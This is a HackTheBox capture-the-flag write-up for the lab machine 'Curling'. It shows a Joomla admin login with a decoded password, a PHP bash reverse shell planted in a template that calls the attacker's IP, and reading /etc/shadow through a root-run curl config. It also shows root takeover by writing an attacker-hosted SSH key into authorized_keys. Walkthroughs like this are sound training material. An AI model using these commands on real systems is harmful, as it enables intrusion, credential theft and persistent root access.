HTB Write-up: Curling
Curling is an easy-difficulty Linux box. The great thing about Curling is all of the small, simple steps that are required to complete it. The machine includes a website built by a content management system (CMS) called Joomla. The administrator of the website, Floris (who, judging by the content of the website is a devoted curling enthusiast), thought they were being tricky hiding important base64-encoded information in HTML code. Once this secret information has been leveraged to access the machine as the floris
user, the hobby that Floris loves most (namely, cURLing) results in their timely demise…
Note: I completed this challenge on December 19th, 2018, however I’m just now writing it up in December 2019. As such, some of the details are sparse.
User
To begin enumeration, the masscan
tool was used to scan the target system for open ports.
root@kali:~/workspace/hackthebox/Curling# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.150
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-12-22 15:32:02 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.10.10.150
Discovered open port 80/tcp on 10.10.10.150
This scan revealed that TCP ports 22(SSH) and and 80(HTTP) were open and listening for connections. Taking these open ports, the nmap
tool was then used to further enumerate the open ports.
root@kali:~/workspace/hackthebox/Curling# nmap -p 22,80 -sC -sV -oA scans/discovered-tcp 10.10.10.150
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 08:34 MST
Nmap scan report for 10.10.10.150
Host is up (0.057s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.33 seconds
As expected, port 22 is listening for connection as a SSH server and port 80 is acting as the webserver HTTP port.
Browsing to the HTTP service at http://10.10.10.150
confirms the website’s presence. The home page contains some information about the sport of curling as well as a login form.
Before poking around with the website, a gobuster
scan was initiated with the goal of discovering website directories.
root@kali:~/workspace/hackthebox/Curling# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.150
As the scan was running, the HTML source code of the homepage was inspected. The meta tags confirm that this website is using the “Joomla!” content management system.
In addition, the last three lines of HTML include a comment that reference a secret.txt
file.
Browsing to http://10.10.10.150/secret.txt
reveals the following text:
Q3VybGluZzIwMTgh
From the home page, it appears that the informational posts have been written by the “Super User” user and are signed with “-Floris”, suggesting that Floris may be an administrator of this website.
Using the string from secret.txt
as a password and usernames such as “admin”, “administrator”, and “floris”, attempts were made to log in using the login form on the home page, but to no avail.
Further examining the text within the secret.txt
file suggests that it could be a base64 encoded string. To test this theory, the Q3VybGluZzIwMTgh
string was saved to a local secret.txt
file on the attacking system and was then base64 decoded, revealing the Curling2018!
string.
root@kali:~/workspace/hackthebox/Curling# base64 -d secret.txt
Curling2018!
The username/password combination of floris
/ Curling2018!
can be used to log in to the website. Posts can be made and the website can be modified, however this doesn’t appear to provide much of advantage.
Looking at the results of the now complete gobuster
scan, a variety of directories were returned.
/images (Status: 301)
/templates (Status: 301)
/media (Status: 301)
/modules (Status: 301)
/bin (Status: 301)
/plugins (Status: 301)
/includes (Status: 301)
/language (Status: 301)
/components (Status: 301)
/cache (Status: 301)
/libraries (Status: 301)
/tmp (Status: 301)
/layouts (Status: 301)
/administrator (Status: 301)
/cli (Status: 301)
/server-status (Status: 403)
As the /administrator
directory sounds lucrative, the directory was visited which reveals a “Joomla!” login page.
Using the same credentials as before (floris
/ Curling2018!
), the Joomla! administrator console can be accessed. From this console, there are a lot of possibilities. For example, users can be edited, templates can be modified, and extensions can be installed.
From the sidebar under the “Configuration” header is the option to edit templates. Navigating to this page shows that the default “protostar” template is currently in use.
Clicking on the “Protostar” link under the “Template” column shown in the image above directs to a page that allows for the files included in the template to be edited. Also, this page shows that the templates include PHP files.
Checking out the index.php
file confirms that this file builds the home page present at http://10.10.10.150
, as the last three lines of contain the same reference to secret.txt
as found in the HTML source code previously.
The index.php
file was next edited to include the code shown below:
echo exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/1234 0>&1'");
This was placed in the index.php
file as represented in the following screenshot.
After saving the changes and starting a nc
listener on the attacking machine (nc -lp 4444
will do the trick), browsing to the http://10.10.10.150
URL results in a reverse shell on the target system as the www-data
user.
The shell was upgraded using python3 -c 'import pty;pty.spawn("/bin/bash")'
before moving on. This process can be accomplished by completing the following steps:
- On the target system, run
python3 -c 'import pty;pty.spawn("/bin/bash")'
- Issue the
^Z
signal (Ctrl
+z
) - On the attacking system, run
stty raw -echo; fg
- Issue the
^C
signal (Ctrl
+c
)
This is demonstrated in full within the text below.
www-data@curling:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@curling:/var/www/html$ ^Z
[1]+ Stopped nc -lp 4444
root@kali:~/workspace/hackthebox/Curling# stty raw -echo; fg
nc -lp 4444
^C
www-data@curling:/var/www/html$
As the www-data
user, the user.txt
flag cannot be read as it is owned by the user floris
. In the floris
user’s home directory, however, there is a world-readable file called password_backup
that contains what appears to be the result of an xxd
command.
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48
Before working with this file further, it was transferred to the attacking system using scp
.
www-data@curling:/home/floris$ scp ./password_backup root@10.10.14.2:/root/workspace/hackthebox/Curling/
From xxd -h
, the -r
flag can be used to reverse an operation. Running the xxd -r password_backup > output
command creates the output
file that contains the reuslt of the xxd -r
command. The file
tool was used to determine what kind of data is within the file.
root@kali:~/workspace/hackthebox/Curling# file output
output: bzip2 compressed data, block size = 900k
The command bunzip2 output
can be used to decompress the output
file. This results in the output.out
file, which is of a different file type.
root@kali:~/workspace/hackthebox/Curling# file output.out
output.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
The output.out
file should be renamed to output_1.gz
before being decompressed with gunzip
.
root@kali:~/workspace/hackthebox/Curling# mv output.out output_1.gz && gunzip output_1.gz
This results in the output_1
file which is another bzip2
compressed file. The bunzip2
command is used once again.
root@kali:~/workspace/hackthebox/Curling# bunzip2 output_1
The resulting file output_1.out
is a POSIX tar archive.
root@kali:~/workspace/hackthebox/Curling# file output_1.out
output_1.out: POSIX tar archive (GNU)
The contents of this archive can be extracted with the tar
.
root@kali:~/workspace/hackthebox/Curling# tar -xvf output_1.out
This results in the password.txt
file being extracted from the archive. The contents of this file contains the password for the floris
user.
root@kali:~/workspace/hackthebox/Curling# cat password.txt
5d<wdCbdZu)|hChXll
This password can be used to access the target system using SSH. From this position, the user.txt
flag file can be read.
floris@curling:~$ cat user.txt
65dd1df0<redacted>
Root
The path to privilege escalation can be seen in the output of the ps waux | grep root
command. This command shows the processes on the system that are running as the root
user.
From the output of the ps waux | grep root
command, there is a process running as root that is issuing the curl
command shown below:
/bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
From the output of curl --help | grep '\-K'
, it can be seen that the command is using the /home/floris/admin-area/input
file as a configuration file.
floris@curling:~/admin-area$ curl --help | grep '\-K'
-K, --config <file> Read config from a file
The result of this curl
command is then being written to the /home/floris/admin-area/report
file as specified with the -o
flag.
While the root
user is the owner of the input
and report
files, users in the floris
group are able to read and write to the these files.
-rw-rw---- 1 root floris 25 Dec 22 17:54 input
-rw-rw---- 1 root floris 14K Dec 22 17:54 report
Examining the input
file reveals that the curl command is directed towards the http://127.0.0.1
URL – the address of localhost
.
floris@curling:~/admin-area$ cat input
url = "http://127.0.0.1"
Changing the contents of the input
file to the text shown below results in the contents of the /etc/shadow
being written to the report
file.
url = "file:///etc/shadow"
The /etc/shadow
file contains hashed passwords for system users, including the password hash for the root
user. After a few seconds, the contents of the report
file will be overwritten with the contents of /etc/shadow
. The output below is a truncated version of the target system’s /etc/shadow
file.
floris@curling:~/admin-area$ cat report
root:$6$RIgrVboA$HDaB29xvtkw6U/Mzq4qOHH2KHB1kIR0ezFyjL75DszasVFwznrsWcc1Tu5E2K4FA7/Nv8oje0c.bljjnn6FMF1:17673:0:99999:7:::
daemon:*:17647:0:99999:7:::
...
sshd:*:17647:0:99999:7:::
floris:$6$yl7KKyGaOhVExlCb$ONJceChbI7srpLlJ/AhCLgESU7E4gXexPVgsJMjvQ0hP.6fwslfwWmD15cuaYs9./Jin4e/4LURPgEBav4iv//:17673:0:99999:7:::
mysql:!:17673:0:99999:7:::
The password hash the root
user can be copied to a file on the attacking system. Then, hashcat
can be used to attempt to crack the password hash.
root@kali:~/workspace/hackthebox/Curling# cat root-hash.txt
$6$RIgrVboA$HDaB29xvtkw6U/Mzq4qOHH2KHB1kIR0ezFyjL75DszasVFwznrsWcc1Tu5E2K4FA7/Nv8oje0c.bljjnn6FMF1
Since the hash begins with $6
, this suggests that the hash is a sha512crypt
.
root@kali:~/workspace/hackthebox/Curling# hashcat -h | grep sha512crypt
1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems
The hashcat
command that was used in attempt to crack the password hash is shown below. Note that the password was not cracked.
root@kali:~/workspace/hackthebox/Curling# hashcat -m 1800 root-hash.txt /usr/share/wordlists/rockyou.txt --force
As the password hash was not cracked by the hashcat
command above, an alternative privelege escalation method was required.
Looking further into the curl
configuration file -K
flag, it appears that additional arguments can be set from within the configuration file. From man curl
, an example is given.
# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
# and fetch another URL too
url = "example.com/docs/manpage.html"
-O
referer = "http://nowhereatall.example.com/"
# --- End of example file ---
From this, it appears that the output
variable can be set within a configuration file to specify where the output of the curl
command should be written.
From here, the input
file that acts as a configuration file for curl
when run on the target system was changed as represented below.
url = "http://10.10.14.2/id_rsa.pub"
output = "/root/.ssh/authorized_keys"
After serving the SSH public key id_rsa.pub
on the attacking system using python -m SimpleHTTPServer 80
, the target system writes the contents of the attacking system’s public SSH key to the target system’s /root/.ssh/authorized_keys
directory which allows the attacking system to SSH to the target system as root
.
This process is shown below. The loop demonstrates starting Python’s SimpleHTTPServer on the attacking system, editing the input
file on the target system to interact with the attacking system, the target system requesting the attacking system’s id_rsa.pub
file, and finally accessing the target system as root
over SSH. Note that the duration of one loop is ~30 seconds.
The root.txt
flag can now be read.
root@curling:~# cat root.txt
82c198ab<redacted>